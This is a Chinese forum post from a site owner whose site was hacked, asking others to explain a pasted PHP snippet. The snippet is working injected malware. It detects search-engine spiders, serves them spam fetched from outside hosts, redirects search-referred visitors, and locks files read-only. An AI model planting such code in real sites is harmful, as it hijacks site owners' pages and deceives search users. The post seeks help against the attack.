去评论
dz插件网

网站被黑,被加入代码

左右不逢缘
2024/05/03 10:10:00
  1. error_reporting(0);$tr = "stristr";$er = $_SERVER;function httpGet($url) {  $ch = curl_init();  //设置选项,包括URL  curl_setopt($ch, CURLOPT_URL, $url);  curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  curl_setopt($ch, CURLOPT_HEADER, 0);  //执行并获取HTML文档内容  $output = curl_exec($ch);  //释放curl句柄  curl_close($ch);  //打印获得的数据  return $output;}$filename1 = @end(explode('/', $url1));function set_writeable($file_name){   @chmod($file_name, 0444);}@chmod(FILE, 0444);set_writeable($filename1);define('url',$er['REQUEST_URI']);define('ref',$er['HTTP_REFERER']);define('ent',$er['HTTP_USER_AGENT']);define('site',"https://www.bangyu520.com");define('road', "/?host=" . $_SERVER['HTTP_HOST'] . "&u=/" . url);define('regs','@Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn@i');define('area',$tr(url,".xml") or $tr(url,".doc") or $tr(url,".html") or $tr(url,"/gf") or $tr(url,".ppt") or $tr(url,".co") or $tr(url,"/news") or $tr(url,".csv") or $tr(url,".shl") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".asp")or $tr(url,".aspx")or $tr(url,".gq")or $tr(url,".hl") or $tr(url,".xlsx") and $tr(url,"fg"));if (area && preg_match(regs, ref)) {    echo file_get_contents("https://www.ihain.com/q.html");    exit;}if (preg_match(regs, ent)) {    if (area) {        echo httpGet(site.road);        exit;    } else {        echo httpGet("https://php.bangyu520.com/linksphp.php");        ob_flush();        flush();    }}
这段代码是给我加在页面上的,哪位大佬可以讲讲这个代码是干什么的